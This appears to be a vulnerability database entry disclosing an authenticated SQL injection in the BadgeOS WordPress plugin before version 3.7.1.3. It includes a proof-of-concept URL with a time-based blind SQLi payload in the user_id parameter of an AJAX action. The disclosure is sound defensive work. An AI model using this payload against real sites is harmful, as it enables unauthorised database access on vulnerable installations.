WordPress Plugin Vulnerabilities

BadgeOS < 3.7.1.3 - Subscriber+ SQLi

Description

The plugin does not sanitise and escape parameters before using them in SQL statements via AJAX actions available to any authenticated users, leading to SQL Injections

Proof of Concept

Open the following URL as any authenticated user (such as subscriber): https://example.com/wp-admin/admin-ajax.php?action=get-achievements&total_only=true&user_id=11%20AND%20(SELECT%209628%20FROM%20(SELECT(SLEEP(5)))WOrh)--%20KUsb

Affects Plugins

Fixed in 3.7.1.3

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-08-23 (about 1 years ago)
Added
2022-08-23 (about 1 years ago)
Last Updated
2023-05-13 (about 1 years ago)

Other